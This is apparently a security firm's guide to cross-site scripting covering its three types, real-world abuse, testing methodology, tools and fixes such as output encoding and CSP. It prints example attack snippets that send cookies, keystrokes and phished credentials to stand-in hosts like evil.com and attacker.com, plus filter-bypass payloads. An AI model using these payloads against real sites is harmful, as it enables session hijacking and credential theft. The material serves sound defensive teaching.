Cross-site scripting has been on the OWASP Top 10 since the list was first published. Two decades later, it remains one of the most frequently discovered vulnerabilities in web application penetration testing. Not because XSS is hard to fix. It isn't. But because the fix must be applied consistently across every location where user-supplied data appears in a web page, and missing even one location creates a vulnerability.
XSS allows an attacker to inject JavaScript that executes in another user's browser. The implications range from session hijacking (stealing authentication cookies to take over accounts) to credential theft (presenting fake login forms within the legitimate application) to complete account takeover. In the OWASP Top 10 2021, XSS was merged into the broader A03: Injection category, but it remains a distinct and consistently discovered vulnerability class.
This guide covers what XSS is across its three types (reflected, stored, and DOM-based), how attackers use XSS in real-world attacks, the methodology for testing applications for XSS vulnerabilities, example payloads for identifying XSS during security assessments, the tools used in professional XSS testing, and how to fix XSS through output encoding, Content Security Policy, and input validation.
For the broader injection context, see our guide on injection attacks. For the complete OWASP framework, see our OWASP Top 10 guide.
What Is Cross-Site Scripting (XSS)?
Cross-site scripting is a vulnerability that occurs when a web application includes user-supplied data in its output without proper encoding, allowing an attacker to inject JavaScript that executes in other users' browsers. The "cross-site" name refers to the attack crossing the trust boundary between the vulnerable site and the attacker: the victim's browser executes the attacker's script because it appears to come from the trusted website.
The Core Problem
The browser cannot distinguish between JavaScript the developer intended and JavaScript an attacker injected. If user input ends up in an HTML page without encoding, and that input contains script tags or event handlers, the browser executes it as code.
<!-- Developer intended this -->
<p>Welcome, John</p>
<!-- Attacker provided this as their "name" -->
<p>Welcome, <script>document.location='https://evil.com/steal?c='+document.cookie</script></p>
<!-- The browser executes the script because it looks like part of the page -->Type 1: Reflected XSS
How it works: User input is immediately reflected in the server's response without being stored. The attacker crafts a URL containing the malicious script and tricks the victim into clicking it. The server includes the attacker's input in the response, the victim's browser executes it.
Example flow:
- Application has a search feature:
https://example.com/search?q=laptop - The page displays: "Results for: laptop"
- The application builds this HTML:
<p>Results for: [user input]</p> - Attacker crafts:
https://example.com/search?q=<script>alert(1)</script> - Server responds:
<p>Results for: <script>alert(1)</script></p> - Victim's browser executes the script
Where testers find it: Search fields, error messages reflecting user input, URL parameters displayed on pages, form fields echoed back in responses, redirect parameters.
Delivery: Phishing emails, social media links, QR codes, forum posts, or any channel where the attacker can deliver a crafted URL to the victim.
Type 2: Stored XSS
How it works: The attacker's malicious input is stored by the application (in a database, file, or other persistent storage) and later displayed to other users. Every user who views the page containing the stored payload is affected without clicking a special link.
Example flow:
- Application has a comment feature
- Attacker submits a comment containing:
Great post! <script>fetch('https://evil.com/steal?c='+document.cookie)</script> - The application stores the comment in the database
- When any user views the page, the stored script executes in their browser
- Every visitor's session cookie is sent to the attacker's server
Where testers find it: Comment sections, user profiles (display name, bio, avatar URL), forum posts, product reviews, support tickets, chat messages, file names displayed in interfaces, any field that is stored and later rendered to other users.
Why stored XSS is more dangerous: No user interaction beyond visiting the page. Affects every user who views the content. Can persist indefinitely until the malicious content is removed. Scales to affect thousands of users from a single injection.
Type 3: DOM-Based XSS
How it works: The vulnerability exists in client-side JavaScript rather than server-side code. The application's JavaScript reads user-controlled data (URL fragments, query parameters, document.referrer, window.name) and writes it to the DOM without proper sanitization. The server never sees the malicious input.
Example flow:
// Vulnerable JavaScript reading from URL fragment
var name = document.location.hash.substring(1);
document.getElementById('greeting').innerHTML = name;
// Attacker crafts: https://example.com/page#<img src=x onerror=alert(1)>
// JavaScript reads the fragment, writes it to innerHTML, browser executes the event handlerWhere testers find it: Single-page applications (SPAs) that manipulate DOM based on URL parameters. JavaScript reading location.hash, location.search, document.referrer, or window.name. Client-side routing that reflects URL content into the page. JavaScript template engines improperly handling user data.
Why DOM XSS is hard to detect: Server-side scanners see no vulnerability because the payload never reaches the server. The vulnerability exists entirely in client-side JavaScript. Testing requires analyzing JavaScript source code or using browser-based dynamic analysis.
How XSS Is Used in Real Attacks
Session Hijacking
The most common XSS exploitation. The injected script reads the victim's session cookie and sends it to the attacker's server.
// Script reads session cookie and exfiltrates it
fetch('https://attacker.com/log?cookie=' + document.cookie);The attacker uses the stolen cookie to impersonate the victim, gaining full access to their account. Mitigation: HttpOnly flag on session cookies prevents JavaScript access, but this only protects cookies, not other session mechanisms.
Credential Theft
The injected script modifies the page to present a fake login form or intercept credentials as the user types them.
// Injects a fake "session expired" overlay
document.body.innerHTML = '<div style="...">' +
'<h2>Session Expired</h2>' +
'<form action="https://attacker.com/phish">' +
'<input name="user" placeholder="Username">' +
'<input name="pass" type="password" placeholder="Password">' +
'<button>Log In</button></form></div>';The user sees what appears to be a legitimate re-authentication prompt from the trusted website and enters credentials, which go directly to the attacker.
Keylogging
Injected JavaScript captures keystrokes on the page, recording everything the user types including passwords, credit card numbers, and personal information.
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/keys?k=' + e.key);
});Account Takeover
XSS enables changing the victim's email, password, or security settings by making authenticated requests from the victim's browser session.
// Changes victim's email address (enabling password reset takeover)
fetch('/api/account/update', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
});The victim's browser sends the request with valid session credentials. The application processes it as a legitimate account update.
Malware Delivery
XSS redirects users to malware download pages or injects scripts that exploit browser vulnerabilities.
Defacement
Stored XSS modifies page content visible to all users, damaging the organization's brand and customer trust.
For protection against related client-side attacks, see our guide on CSRF prevention.
XSS Testing Methodology
Phase 1: Identify Injection Points
Map every location where user-supplied data appears in application output.
Input sources: URL parameters (query string, path parameters). Form fields (search, login, registration, profile, comments). HTTP headers (User-Agent, Referer reflected in responses). Cookie values displayed on pages. File names or metadata displayed after upload. API responses rendered in the UI.
Output contexts: HTML body (between tags). HTML attributes (inside tag attributes). JavaScript (within script blocks). CSS (within style blocks). URL context (within href or src attributes). Each context requires different testing payloads.
Phase 2: Test Each Injection Point
For each identified injection point, test with context-appropriate payloads.
Basic detection payloads:
<!-- HTML context -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<!-- Attribute context (breaking out of attribute) -->
" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='
<!-- JavaScript context (breaking out of string) -->
';alert(1);//
"-alert(1)-"
<!-- URL context -->
javascript:alert(1)Filter bypass payloads: When basic payloads are blocked, test for filter weaknesses.
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<!-- Encoding -->
<img src=x onerror=alert(1)>
<!-- Event handlers beyond common ones -->
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<!-- Tag variations -->
<svg/onload=alert(1)>
<body onload=alert(1)>DOM XSS detection: Review JavaScript source code for dangerous patterns.
// Dangerous sinks (where data is written to DOM)
element.innerHTML = userInput; // Parses HTML
document.write(userInput); // Writes to document
eval(userInput); // Executes as code
element.setAttribute('href', userInput); // Can be javascript: URL
// Dangerous sources (where attacker-controlled data originates)
location.hash
location.search
document.referrer
window.name
postMessage dataPhase 3: Validate and Demonstrate Impact
When a payload executes, validate the security impact beyond alert(1).
Demonstrate session cookie access (if HttpOnly is missing). Demonstrate DOM manipulation capability. Demonstrate ability to make authenticated requests. Document the complete exploitation path from injection to impact.
Phase 4: Test Defenses
If the application has XSS defenses, test whether they can be bypassed.
WAF bypass testing: Payload encoding, fragmentation, alternate tags, and polyglot payloads. CSP bypass testing: Unsafe-inline directives, JSONP endpoints, allowlisted CDNs hosting exploitable scripts. Input filter bypass: Case variation, encoding, event handler alternatives, and tag alternatives.
XSS Testing Tools
Burp Suite Professional
The primary tool for XSS testing. Burp's scanner detects reflected and stored XSS through automated crawling and payload injection. The Repeater tool enables manual payload crafting and response analysis. Extensions like Hackvertor provide encoding/decoding for bypass testing. Essential for any web application security assessment.
OWASP ZAP
Open-source alternative to Burp Suite. Active scanner tests for reflected and stored XSS. Passive scanner identifies potential injection points. Ajax Spider handles JavaScript-heavy SPAs. Good for baseline XSS detection in development pipelines.
XSS Hunter
Platform for detecting blind XSS (stored XSS where the payload executes in a context the tester can't directly observe, such as admin panels or logging dashboards). Provides hosted payloads that call back when executed, revealing where and when the stored XSS fires.
Browser DevTools
Essential for DOM XSS testing. Console for testing JavaScript execution. Sources panel for reviewing client-side code. Network panel for monitoring requests. DOM inspector for analyzing how user input is rendered. Every browser includes these tools.
Dalfox
Parameter analysis and XSS scanning tool. Identifies potential injection parameters and tests with various payload types including filter bypass techniques.
Automated vs Manual XSS Testing
Automated scanners detect straightforward reflected XSS effectively. They struggle with stored XSS (requires understanding application flow), DOM XSS (requires JavaScript analysis), context-specific encoding issues, and filter bypass scenarios. Manual penetration testing discovers the XSS that scanners miss: stored XSS in non-obvious flows, DOM XSS through complex JavaScript paths, and bypass techniques for custom filters.
How to Fix XSS
Fix 1: Context-Aware Output Encoding
The primary defense. Encode all user-supplied data before including it in HTML output using the encoding appropriate for the output context.
HTML context: Encode <, >, &, ", ' as HTML entities.
# Python (Jinja2 auto-escaping - enabled by default in Flask)
{{ username }} # Auto-escaped: <script> becomes <script>
{{ username | safe }} # DANGEROUS: bypasses escaping, never use with user input// React: JSX auto-escapes by default
<div>{username}</div> // Safe: React escapes automatically
<div dangerouslySetInnerHTML={{__html: userInput}} /> // DANGEROUS: never with user inputAttribute context: HTML-encode before inserting into attributes. Always quote attribute values.
JavaScript context: JavaScript-encode or avoid inserting user data into JavaScript blocks entirely.
URL context: URL-encode user data in URL parameters. Validate URL scheme (reject javascript: URLs).
Fix 2: Content Security Policy (CSP)
CSP provides a secondary defense layer. Even if an XSS vulnerability exists, a properly configured CSP prevents execution of injected scripts.
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
object-src 'none';
base-uri 'self';Key CSP directives for XSS prevention:
script-src 'self' blocks inline scripts and scripts from external domains. Avoid 'unsafe-inline' for script-src (defeats XSS protection). Use nonces ('nonce-random') or hashes for legitimate inline scripts. object-src 'none' blocks plugin-based script execution.
Fix 3: Input Validation
Input validation provides defense-in-depth but is not sufficient alone. Validate that inputs match expected formats (email looks like email, numbers are numbers). Reject input containing unexpected characters where possible. Never rely on input validation as the sole XSS defense because determining what's "safe" input depends on the output context.
Fix 4: HttpOnly and Secure Cookie Flags
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly prevents JavaScript from reading the cookie, blocking the most common XSS exploitation (session hijacking). SameSite=Strict prevents the cookie from being sent in cross-origin requests. These flags don't prevent XSS but limit its impact.
Fix 5: Sanitization for Rich Content
When the application must accept HTML (rich text editors, markdown rendering), use allowlist-based HTML sanitizers.
// DOMPurify - client-side HTML sanitization
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userHtml);
// Strips all dangerous tags and attributes, keeps safe HTML# Bleach - server-side HTML sanitization (Python)
import bleach
clean = bleach.clean(user_html, tags=['p', 'b', 'i', 'a'], attributes={'a': ['href']})Never build your own HTML sanitizer. Use established libraries (DOMPurify, Bleach, HtmlSanitizer) that handle the hundreds of bypass vectors custom implementations miss.
For comprehensive secure coding practices, see our secure coding standards guide. These patterns apply across all web application security vulnerabilities.
XSS in Context: OWASP A03 Injection
In the OWASP Top 10 2021, XSS was merged into the A03: Injection category alongside SQL injection, command injection, and other injection types. This reflects OWASP's view that all injection vulnerabilities share a root cause: untrusted data processed as code or markup.
However, XSS remains distinct in testing methodology because it executes client-side (in the browser) rather than server-side. XSS testing requires different payloads, different tools, and different understanding than SQL injection testing. Professional web application penetration testing treats XSS as a dedicated testing category within the broader injection assessment.
For the complete OWASP Top 10 breakdown, see our OWASP Top 10 guide. For A02 Cryptographic Failures, see our cryptographic failures guide.
XSS Testing Checklist
Reflected XSS
- Every URL parameter tested with context-appropriate payloads
- Search functionality tested (most common reflected XSS location)
- Error messages tested for input reflection
- Form fields tested for reflection in responses
- HTTP headers (User-Agent, Referer) tested if reflected
- Filter bypass attempted when basic payloads blocked
Stored XSS
- Every persistent input field tested (comments, profiles, reviews, tickets)
- Display name / username tested (rendered across multiple pages)
- File upload names tested (filename displayed in interfaces)
- Rich text editors tested for sanitizer bypass
- Blind XSS payloads deployed for admin panel / logging dashboard contexts
- Multi-step stored XSS tested (input stored in step 1, rendered in step 3)
DOM-Based XSS
- Client-side JavaScript reviewed for dangerous sinks (innerHTML, document.write, eval)
- URL fragment (hash) handling analyzed
- PostMessage handlers reviewed for unsafe data processing
- Client-side routing tested for URL-to-DOM injection
- Third-party JavaScript libraries checked for known XSS CVEs
Defense Validation
- CSP header present and restrictive (no unsafe-inline for scripts)
- HttpOnly flag on session cookies
- SameSite attribute on session cookies
- Output encoding applied consistently across all contexts
- Rich text sanitization uses allowlist-based library (DOMPurify, Bleach)
- WAF rules tested for bypass with encoding and alternate payloads
XSS Across API-Driven Applications
Modern applications often store data through APIs and render it in separate frontends. XSS in API-driven applications occurs when API responses containing user-supplied data are rendered in web frontends without encoding.
Testing approach: Submit XSS payloads through API endpoints (POST/PUT requests). Verify whether the stored data is rendered unsafely in web frontends. Test GraphQL mutations that store data rendered in UI components. Test API responses rendered in mobile webviews.
This testing requires understanding both the API layer and the frontend rendering. API security testing and web application testing must be coordinated.
XSS for Compliance
PCI DSS Requirement 6.5. Mandates addressing common coding vulnerabilities including XSS. PCI DSS compliance requires that payment applications prevent XSS.
SOC 2. Application security controls including XSS prevention support Trust Services Criteria. See how SOC 2 pentests support compliance.
ISO 27001. Annex A.8.25 and A.8.26 require secure development addressing injection vulnerabilities including XSS. See our ISO 27001 guide.
For comprehensive compliance mapping, see our penetration testing compliance guide.
How AppSecure Tests for XSS
AppSecure discovers XSS vulnerabilities that automated scanners miss through expert-led manual penetration testing.
All Three Types. Reflected, stored, and DOM-based XSS tested systematically. Blind XSS payloads deployed for admin and logging contexts. DOM XSS discovered through JavaScript source analysis.
Filter Bypass Expertise. When applications implement XSS filters, testers attempt bypass through encoding variations, alternate tags, event handler alternatives, and polyglot payloads. Quality of XSS testing is measured by the ability to bypass defenses, not just detect unprotected fields.
Impact Demonstration. Findings demonstrate real impact beyond alert(1): session hijacking feasibility, credential theft scenarios, and account takeover paths. Business impact communicated alongside technical evidence.
Beyond XSS. XSS testing integrates with comprehensive web application penetration testing covering the full OWASP Top 10 and beyond. Application security assessment provides end-to-end coverage.
Zero False Positives. Every XSS finding confirmed through actual script execution with screenshot evidence. 3-Week Delivery. 90-day support. Complimentary retesting. Continuous testing and PTaaS for ongoing XSS validation.
Contact AppSecure:
Frequently Asked Questions
1. What is cross-site scripting (XSS)?
Cross-site scripting is a vulnerability where a web application includes user-supplied data in its output without proper encoding, allowing an attacker to inject JavaScript that executes in other users' browsers. XSS exploits the browser's trust in the website: injected scripts run with the same privileges as legitimate scripts, enabling session hijacking, credential theft, account takeover, and malware delivery. XSS exists in three types: reflected (immediate, URL-based), stored (persistent, database-stored), and DOM-based (client-side JavaScript).
2. What is the difference between reflected, stored, and DOM-based XSS?
Reflected XSS: attacker's payload is in the URL, server reflects it in the response, victim must click a crafted link. Stored XSS: payload is saved in the application (database, comment, profile) and executes for every user who views the affected page. DOM-based XSS: payload is processed entirely by client-side JavaScript without reaching the server. Stored XSS is highest severity because it affects all visitors without requiring special URLs. DOM XSS is hardest to detect because server-side scanners cannot see it.
3. How do you test for XSS?
Test every location where user input appears in application output. Map injection points (URL parameters, form fields, headers, file names). Submit context-appropriate test payloads. Validate execution in the browser. Test filter bypass when basic payloads are blocked. Review JavaScript source for DOM XSS sinks. Deploy blind XSS payloads for admin-visible contexts. Validate defense effectiveness (CSP, HttpOnly, sanitizer coverage). Manual testing discovers XSS that automated scanners miss.
4. What tools are used for XSS testing?
Burp Suite Professional (primary tool: scanning, interception, manual payload testing), OWASP ZAP (open-source scanning), XSS Hunter (blind stored XSS detection in admin contexts), browser DevTools (DOM analysis, JavaScript review), and Dalfox (parameter analysis and payload testing). Automated tools detect straightforward reflected XSS. Manual expert testing is required for stored XSS in complex flows, DOM XSS through JavaScript analysis, and filter bypass scenarios.
5. How do you fix XSS?
Primary defense: context-aware output encoding (HTML entities in HTML context, JavaScript encoding in JS context, URL encoding in URL context). Use framework auto-escaping (React, Angular, Jinja2 with auto-escape enabled). Deploy Content Security Policy headers blocking inline script execution. Set HttpOnly and SameSite on session cookies. Use allowlist-based HTML sanitizers (DOMPurify, Bleach) when rich content is required. Never build custom sanitizers. Apply all defenses together (defense in depth).
6. What is Content Security Policy and how does it prevent XSS?
Content Security Policy is an HTTP header that instructs the browser which sources of content (scripts, styles, images) are permitted. A CSP with script-src 'self' blocks all inline scripts and scripts from external domains, preventing injected XSS payloads from executing even if the application fails to encode output. CSP is a secondary defense that limits XSS impact but does not replace output encoding. Avoid 'unsafe-inline' in script-src as it defeats XSS protection.
7. Can automated scanners find all XSS?
No. Automated scanners effectively detect straightforward reflected XSS in simple HTML contexts. They struggle with stored XSS (requires understanding multi-step application flow), DOM-based XSS (requires JavaScript analysis, not just HTTP request/response), context-specific encoding issues, filter bypass requiring creative payload construction, and blind XSS in admin panels. Professional penetration testing combines automated scanning for baseline coverage with manual expert testing for depth.
8. Where is XSS most commonly found?
The most common XSS locations are search functionality (reflected), user profiles and display names (stored), comment and review systems (stored), error messages reflecting user input (reflected), single-page application URL handling (DOM-based), file upload name display (stored), and rich text editors with inadequate sanitization (stored). Any feature that stores and displays user-supplied data is a potential stored XSS target.
9. What is the OWASP classification for XSS?
In the OWASP Top 10 2021, XSS is classified under A03: Injection alongside SQL injection and other injection types. This reflects the shared root cause: untrusted data processed as code. However, XSS testing methodology is distinct because XSS executes client-side in browsers rather than server-side. Professional security testing treats XSS as a dedicated testing category with specific payloads, tools, and validation techniques.
10. How does XSS relate to CSRF?
XSS and CSRF are distinct but related. CSRF tricks the victim's browser into making unwanted requests to a site where they're authenticated. XSS executes attacker-controlled scripts in the victim's browser context. XSS can be used to bypass CSRF protections (injected script reads the CSRF token and includes it in forged requests). Strong XSS prevention therefore also strengthens CSRF defenses. See our CSRF prevention guide for token implementation details.
.avif)
Founder & CEO @ Appsecure Security






.webp)




_%20Examples%2C%20Impact%20%26%20How%20to%20Fix%20Them.webp)


_.webp)




















%20Tools%20vs%20Penetration%20Testing.webp)












.webp)























































.webp)
